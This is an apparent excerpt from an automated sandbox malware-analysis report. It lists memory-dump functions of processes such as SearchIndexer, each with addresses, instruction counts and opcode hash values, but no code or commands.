                                                                    • Instruction ID: 5499d2d37cbb36f740abe5c2a467917e4f0c22c8c1c369c039f0a495243c56e3
                                                                    • Opcode Fuzzy Hash: 6d0d6c7f775ba3d3f30fc70073c1042444d07ea21c328b4178751ad22359537b
                                                                    • Instruction Fuzzy Hash: 4C014471A08958CFDF64DB04C854FAEB7B1FB68314F0545A9D40EA7265DB34AA84CF81
                                                                    Function 00007FFD9B89176E Relevance: .0, Instructions: 38COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b890000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 7559767cc9b2d45b4e1bef1793922738b6467d2fc676b11ac155f1e4718ba922
                                                                    • Instruction ID: ca3b9fbac233fab221b9025c1e8a7797f49127599e6832865526eae0e1c79ed2
                                                                    • Opcode Fuzzy Hash: 7559767cc9b2d45b4e1bef1793922738b6467d2fc676b11ac155f1e4718ba922
                                                                    • Instruction Fuzzy Hash: 7AF0C222F0D91A9BEB64FB04C8696A82392EB99310F064275D41DC72EAEE2C6A0143C1
                                                                    Function 00007FFD9BC5EE32 Relevance: .0, Instructions: 38COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.3227052771.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9bc50000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 4fbf332e4f3291509069a17f0f3520128717b65a1b5f97a1316808a18cebbf23
                                                                    • Instruction ID: 0ce9c542df10007e40794408757dcdee71911a805d2155d0261258dbe3876e7b
                                                                    • Opcode Fuzzy Hash: 4fbf332e4f3291509069a17f0f3520128717b65a1b5f97a1316808a18cebbf23
                                                                    • Instruction Fuzzy Hash: 3FF0623185F3CA9FD7129BF088615993FB4AF42214B1A01E6E045870A2D5AD6746D752
                                                                    Function 00007FFD9BC58212 Relevance: .0, Instructions: 38COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.3227052771.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9bc50000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: b2dec6703c1cf3814c6d92ffffcc182edeea28ebe3d0aa39904bc1a2164b6a40
                                                                    • Instruction ID: 5947ef3db573e276ddd0cf3b0ba8689b6afb0de904d4c18a2abff1582b902361
                                                                    • Opcode Fuzzy Hash: b2dec6703c1cf3814c6d92ffffcc182edeea28ebe3d0aa39904bc1a2164b6a40
                                                                    • Instruction Fuzzy Hash: C0F0903199E28A9FD712CBF098655EA7FB4EF42204B0500F6E45ACB0A2CA6D6606C761
                                                                    Function 00007FFD9B8BB1F7 Relevance: .0, Instructions: 37COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B1000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8b1000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 949d4f6535831daeda3062260aec26af9d03c5fc3110eb570f78a6793b2dbce1
                                                                    • Instruction ID: 4d5629f19dc5cc0cbe850e37df4df66c4fb01f310f76830820235d84e66aaecb
                                                                    • Opcode Fuzzy Hash: 949d4f6535831daeda3062260aec26af9d03c5fc3110eb570f78a6793b2dbce1
                                                                    • Instruction Fuzzy Hash: 3CF09C70A1CB848FC7A8DF18804576AB7E1FB9C305F21892EE0CDD3660CF30A8458B82
                                                                    Function 00007FFD9BC58ECF Relevance: .0, Instructions: 37COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.3227052771.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9bc50000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 07822878eab040b95dac8de3443146925f3b039d1dd447bf941fdfa429efc307
                                                                    • Instruction ID: ffa6170a66b55669ba3c8b6e559233ada7e13bb77bb806137bc17d10843fccfd
                                                                    • Opcode Fuzzy Hash: 07822878eab040b95dac8de3443146925f3b039d1dd447bf941fdfa429efc307
                                                                    • Instruction Fuzzy Hash: 10F0E932B0DE5D8FD7A596E444193ED73D2EF58300F05057AD04FD72A0DDA91D054741
                                                                    Function 00007FFD9B8A3E9C Relevance: .0, Instructions: 35COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8a0000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 45df7502d827ae41da0fedb59f5e12bf2a6ed99ed55d8e215c1363b171963ef4
                                                                    • Instruction ID: 0fbb3606fd91adee3480f6199c4dddbe97f92a8b6f0cc8aaf2863f078c9cb39a
                                                                    • Opcode Fuzzy Hash: 45df7502d827ae41da0fedb59f5e12bf2a6ed99ed55d8e215c1363b171963ef4
                                                                    • Instruction Fuzzy Hash: 51F04475F1591E8BEB68EB88C8546BDB3B1FB59311F00423AD415D72E4DF786A018790
                                                                    Function 00007FFD9B893FFF Relevance: .0, Instructions: 35COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b890000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 10995812910d95ccd295be56dff72c2a699be659399e88b53f576e12418cec00
                                                                    • Instruction ID: 8c6c382afbfd8a70faa2378e45bab61a539903b7c88b0d5c0476d7746a769d06
                                                                    • Opcode Fuzzy Hash: 10995812910d95ccd295be56dff72c2a699be659399e88b53f576e12418cec00
                                                                    • Instruction Fuzzy Hash: 0FF0E131A089588FDF54EB04C894F9E77B1FB68311F118699D40EE7264DB34AE84CF85
                                                                    Function 00007FFD9B892F0B Relevance: .0, Instructions: 35COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b890000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: aa69fec6b4429639b23ef6693e96b365e6c0c4b016e0f38c26a298fa285c5519
                                                                    • Instruction ID: df87c9535ebed48b618f4d3982c0481c63fe113cc1de05ba6d2f7b4ea9aba7ce
                                                                    • Opcode Fuzzy Hash: aa69fec6b4429639b23ef6693e96b365e6c0c4b016e0f38c26a298fa285c5519
                                                                    • Instruction Fuzzy Hash: C0F0E631B5951E8AEF74EF94C8A57F87761FF98711F1601B5D40ED31A2DE386A818B00
                                                                    Function 00007FFD9B8A47C2 Relevance: .0, Instructions: 29COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8a0000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: ecbd8bfd13c0fa62c1cd1ec5cc4ea79c739067782f8f8af85652b743c5e3ac22
                                                                    • Instruction ID: 28d511e428c84d041218123d689f8f71ca1951fdbf1ae071fa0e3bd7b727fd8c
                                                                    • Opcode Fuzzy Hash: ecbd8bfd13c0fa62c1cd1ec5cc4ea79c739067782f8f8af85652b743c5e3ac22
                                                                    • Instruction Fuzzy Hash: ECF0A730B0940F8BEF24EB48D4605B932D1FB8C300F16417DC41AC31DBEE28EA424650
                                                                    Function 00007FFD9B8B259A Relevance: .0, Instructions: 24COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B1000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8b1000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: cba5272bb8fed6a13ab2710a3cb4a77bd7f7600e80c832336569822cb4319243
                                                                    • Instruction ID: 476129a86dc33dd2e9baebe4dd239cd234a5e8141fc102a01ffd9e5971189798
                                                                    • Opcode Fuzzy Hash: cba5272bb8fed6a13ab2710a3cb4a77bd7f7600e80c832336569822cb4319243
                                                                    • Instruction Fuzzy Hash: 27E0723020A6980FCB40DFBDCC098143FD1FB4E600B8CC2BA908CCB2A2DE21D8828300
                                                                    Function 00007FFD9B891D9C Relevance: .0, Instructions: 21COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b890000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: c6ab363836b5886034f7a43c8693565c541e6e60fba7df9961d65f11f34bc7f2
                                                                    • Instruction ID: e3dd7dde28ba439e3d8db9a8fbcf4ff7a2e15f18bcb7eda857fdd6a17523ab84
                                                                    • Opcode Fuzzy Hash: c6ab363836b5886034f7a43c8693565c541e6e60fba7df9961d65f11f34bc7f2
                                                                    • Instruction Fuzzy Hash: BDE09220F0D00A87FBB46788C8607A96210EB88300F1140B8DA5ED33D5CE28AE458B14
                                                                    Function 00007FFD9B890B95 Relevance: .0, Instructions: 19COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b890000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 84da47e8a84d7c7bda6fe4433242c964a2a7c5542f6b8e5b554b8c59c440ec5d
                                                                    • Instruction ID: 2531cacda1fc5a546aaf75607c61163b4005b6ce7e340a26c71d114f3e52f7b4
                                                                    • Opcode Fuzzy Hash: 84da47e8a84d7c7bda6fe4433242c964a2a7c5542f6b8e5b554b8c59c440ec5d
                                                                    • Instruction Fuzzy Hash: E8D0A930229A4E8FCA00B778C88A828BFA0FB4F210BCA10E1E00CC75A6C61888998700
                                                                    Function 00007FFD9BC5FB27 Relevance: .0, Instructions: 18COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.3227052771.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9bc50000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 62a3d3ca96b0d7eb3bd8a6389c94c1d28318ba372331a8ae844dd4d537b9f792
                                                                    • Instruction ID: 25422382b12ca7b9e57502e9ff42368bda4f8b5a4a9f6c01a9341f5d901aa4ab
                                                                    • Opcode Fuzzy Hash: 62a3d3ca96b0d7eb3bd8a6389c94c1d28318ba372331a8ae844dd4d537b9f792
                                                                    • Instruction Fuzzy Hash: E2E0C292E0E3868BE7361AF0087147C2B609F2B34174605BAD0868A3E3E9DC2E014312
                                                                    Function 00007FFD9B8B6AC9 Relevance: .0, Instructions: 16COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B1000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8b1000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 681fc6406d506efbf3fbcbd3b3b231be29e1d29d6fd0d3292bb76ce530a80e5c
                                                                    • Instruction ID: 42b79cad9a286af28ed23b611b2058ae46a238a77670d608a3cd43786625b75c
                                                                    • Opcode Fuzzy Hash: 681fc6406d506efbf3fbcbd3b3b231be29e1d29d6fd0d3292bb76ce530a80e5c
                                                                    • Instruction Fuzzy Hash: FAD0A9A195B2E91FDB0166B6082A8287E90AE0628178842FEC48ACB1A2E41C814A4A40
                                                                    Function 00007FFD9B8906A5 Relevance: .0, Instructions: 13COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b890000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: c557962ecdf9a645250e69c81db5121ef9feda43b66054d61157a3cc4c3d3c8f
                                                                    • Instruction ID: 6a0f548f5851d83451bd9cd2a28fb594d23f5e6b3b9716f21b74d9fc43b4e9ae
                                                                    • Opcode Fuzzy Hash: c557962ecdf9a645250e69c81db5121ef9feda43b66054d61157a3cc4c3d3c8f
                                                                    • Instruction Fuzzy Hash: 3AC04C06F6B61F01FC3677EE9C660ADA9409FDDF10FD70172D54D400E59D4D22D60156
                                                                    Function 00007FFD9B890B18 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b890000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 4c576b335eb65a8f3352678227d99615bd88c885f1ae07bafee35a7c8a1f1215
                                                                    • Instruction ID: 8c26c3e2f7bf7630aa6a055c3226d15fb3520b3ab627a2d2af3be00940f95eaa
                                                                    • Opcode Fuzzy Hash: 4c576b335eb65a8f3352678227d99615bd88c885f1ae07bafee35a7c8a1f1215
                                                                    • Instruction Fuzzy Hash: ADC08C305118088FC900E72DC98481036A0FB0E210BC20090E40DC7170E21ADCC0C700
                                                                    Function 00007FFD9B891310 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b890000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: ded74a042e7444421a90b7133b5d1c50d87903aa23d20065afb2b17ec0c1f309
                                                                    • Instruction ID: 197a144fd6e612a218ea6739269fc2caf38fa2448212c2eca817dfd211397922
                                                                    • Opcode Fuzzy Hash: ded74a042e7444421a90b7133b5d1c50d87903aa23d20065afb2b17ec0c1f309
                                                                    • Instruction Fuzzy Hash: FCC08C3455180C8FC918EB69C89881437A0FB0D204BD20090E008C7170D229DCC0C740
                                                                    Function 00007FFD9B8B316F Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B1000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8b1000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 7d8109cb763b144087c4cfeefa6ff0332446c87f3dab3f6f0629e333a85146d4
                                                                    • Instruction ID: dbace5e854bc757f453f845b495522afdf16f778657fe2e6fbb2b06872b2b8bf
                                                                    • Opcode Fuzzy Hash: 7d8109cb763b144087c4cfeefa6ff0332446c87f3dab3f6f0629e333a85146d4
                                                                    • Instruction Fuzzy Hash: 62C0800071D54547E79CD6FCA07073505C1EB4C304F114038E04EC33D7DC18A9060704
                                                                    Function 00007FFD9B8B6AD0 Relevance: .0, Instructions: 11COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B1000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8b1000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 0c97abc92c9028a4c75d924f58eeabd8ad851f895a8aaf305bdb3ee420ee90ee
                                                                    • Instruction ID: f0808e745d6168aab62a1751ba7b5e755b31b3127fc4fa775dbd515832449de7
                                                                    • Opcode Fuzzy Hash: 0c97abc92c9028a4c75d924f58eeabd8ad851f895a8aaf305bdb3ee420ee90ee
                                                                    • Instruction Fuzzy Hash: 44C09B3051181C8FCA44F73DC985D503BE0FB0C3457C501C0F848CB161E119D5948B51
                                                                    Function 00007FFD9BC503CB Relevance: .0, Instructions: 11COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.3227052771.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9bc50000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 0c21783004ec7656aaa70bf57319078e8143fe5e3adf1d6ac7b7b894a71751f5
                                                                    • Instruction ID: 549b7827d81269f54380f60902345b6e14f484224a348fa827e98ea1828da444
                                                                    • Opcode Fuzzy Hash: 0c21783004ec7656aaa70bf57319078e8143fe5e3adf1d6ac7b7b894a71751f5
                                                                    • Instruction Fuzzy Hash: 6ED0C924B1F50F86F6784AE140B023D16906F0AB00FA2003ED29FC19E5CDACBB01620A
                                                                    Function 00007FFD9BC605FB Relevance: .0, Instructions: 11COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.3227052771.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9bc50000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 6921cbf544f7a15a19ac651525dbed05112f17381483ba4e178ea7e9f0e1120d
                                                                    • Instruction ID: b0c4ff7548183f95cea92813bb74a427f4288b39926d4efa640a311eef2ed861
                                                                    • Opcode Fuzzy Hash: 6921cbf544f7a15a19ac651525dbed05112f17381483ba4e178ea7e9f0e1120d
                                                                    • Instruction Fuzzy Hash: ACD0C950B1FA4FCDF1789AF581B0A3D15908FA4B00F6240BEC49F618FACD5CBB416662
                                                                    Function 00007FFD9BC599FB Relevance: .0, Instructions: 11COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.3227052771.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9bc50000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 6f4638bde2b61fcefbbb0c6687629a8e9d07f94e331dabadf6f31afb86bdf19e
                                                                    • Instruction ID: 7d48c214b680615e19c711dd5440e4c1302d2755e00c134b8fd2d344d81cb622
                                                                    • Opcode Fuzzy Hash: 6f4638bde2b61fcefbbb0c6687629a8e9d07f94e331dabadf6f31afb86bdf19e
                                                                    • Instruction Fuzzy Hash: C0D09220B0E98B85F77846F5803823E15E48F01700F2204B9D0DF518E1CADD76416622
                                                                    Function 00007FFD9BC58F1B Relevance: .0, Instructions: 10COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.3227052771.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9bc50000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: db27c0382056d02c2df49af2f45ece77af64f30f0d81bea252e77cec19b70c90
                                                                    • Instruction ID: 22da87f03d862239d70195c8d42f9de9798ee6b0359a6c17626118e752974c29
                                                                    • Opcode Fuzzy Hash: db27c0382056d02c2df49af2f45ece77af64f30f0d81bea252e77cec19b70c90
                                                                    • Instruction Fuzzy Hash: 44C08C10F8F3474BE73145F00CB80BC12615F0A301F8B0276D9068A0E3EDECAE069720
                                                                    Function 00007FFD9B890540 Relevance: .0, Instructions: 9COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b890000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 7290849d3a4f824c9038adf1d6d595f68aba8562a3c154de17bdb756897f64c3
                                                                    • Instruction ID: 00f305d5a71312522919187c109a7f01e85ee314619ee0366ddb183e4f212c32
                                                                    • Opcode Fuzzy Hash: 7290849d3a4f824c9038adf1d6d595f68aba8562a3c154de17bdb756897f64c3
                                                                    • Instruction Fuzzy Hash: 3EB01230D5B60F93DE3833F11C520B4B8D0AF0D204FD302B4D40C801A1E86F52D58253
                                                                    Function 00007FFD9B8906C8 Relevance: .0, Instructions: 8COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b890000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 238015f6f33a3da4d6ce6ec078ef859a9a1607d6ec88d974f6e5f5684b3ba60c
                                                                    • Instruction ID: 688beb5b9b8193c0bb804f8a7cdc3d925b6c709becdd6b6d4b629218ecbfe333
                                                                    • Opcode Fuzzy Hash: 238015f6f33a3da4d6ce6ec078ef859a9a1607d6ec88d974f6e5f5684b3ba60c
                                                                    • Instruction Fuzzy Hash: 10B01200D6740F00EC2433FB0C5206978409B4C600FC20070D80D40095984D12960242
                                                                    Function 00007FFD9B8B26B0 Relevance: .0, Instructions: 7COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B1000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8b1000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 7e2ca4f8a35264215ccf315623d58f66f8e9bbe733cdd91adca162ec9f1b2f4b
                                                                    • Instruction ID: b98df76045b63fe4edbb56a7c2b30e2c2631fae41a7cd51c573bdfcdfef890e0
                                                                    • Opcode Fuzzy Hash: 7e2ca4f8a35264215ccf315623d58f66f8e9bbe733cdd91adca162ec9f1b2f4b
                                                                    • Instruction Fuzzy Hash: 41A00204D9781E41DC2836FA5D970987C516B8D915FD61960F8088099AE88E2AED0293

                                                                    Non-executed Functions

                                                                    Function 00007FFD9B8CCFF0 Relevance: .3, Instructions: 304COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000001.00000002.2693987859.00007FFD9B8C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C1000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_1_2_7ffd9b8c1000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: a357a5d513c6c0b8e7a162351e3d6046c092ed21443d419fce12636393effc50
                                                                    • Instruction ID: 087c14dd96b3ac5d4cebcb2a3a936f3b6dca8d837e6df9fa9237c282f41f863d
                                                                    • Opcode Fuzzy Hash: a357a5d513c6c0b8e7a162351e3d6046c092ed21443d419fce12636393effc50
                                                                    • Instruction Fuzzy Hash: 3DA11AB1B0A25A8BE759F7A8E875AF977E0FF48314F0501BBD04D8B1E3DE2865428750

                                                                    Executed Functions

                                                                    Function 00007FFD9B8A0D77 Relevance: .3, Instructions: 255COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 348c877425428d9209614239e10c651f15773483cf927862f00a5dd78fbf99d0
                                                                    • Instruction ID: 57da77592e08bd9b722363959b261cdcd901a65c563d97dfb2c236299957a8da
                                                                    • Opcode Fuzzy Hash: 348c877425428d9209614239e10c651f15773483cf927862f00a5dd78fbf99d0
                                                                    • Instruction Fuzzy Hash: 6E910475A28A8D4FE789DB6888797A87BE1FF9A340F8001BAD04DC72D6DF781811C301
                                                                    Function 00007FFD9B8A0998 Relevance: .1, Instructions: 108COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_51_2_7ffd9b8a0000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 68c435febaab264e4b78b3f2be6be2f3dc374902ed18ff5c5327c2b62a2a0afb
                                                                    • Instruction ID: e4b3ca0d3702360a4708acf71ba86b12472bc53514d4b88c7da459abb25ffb97
                                                                    • Opcode Fuzzy Hash: 68c435febaab264e4b78b3f2be6be2f3dc374902ed18ff5c5327c2b62a2a0afb
                                                                    • Instruction Fuzzy Hash: 0E31E820B19D1D1FE798F768947A67572C6EB8D315F410079E40DC33E6DD28AC428256
                                                                    Function 00007FFD9B8A2E40 Relevance: .1, Instructions: 97COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000033.00000002.2221603339.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
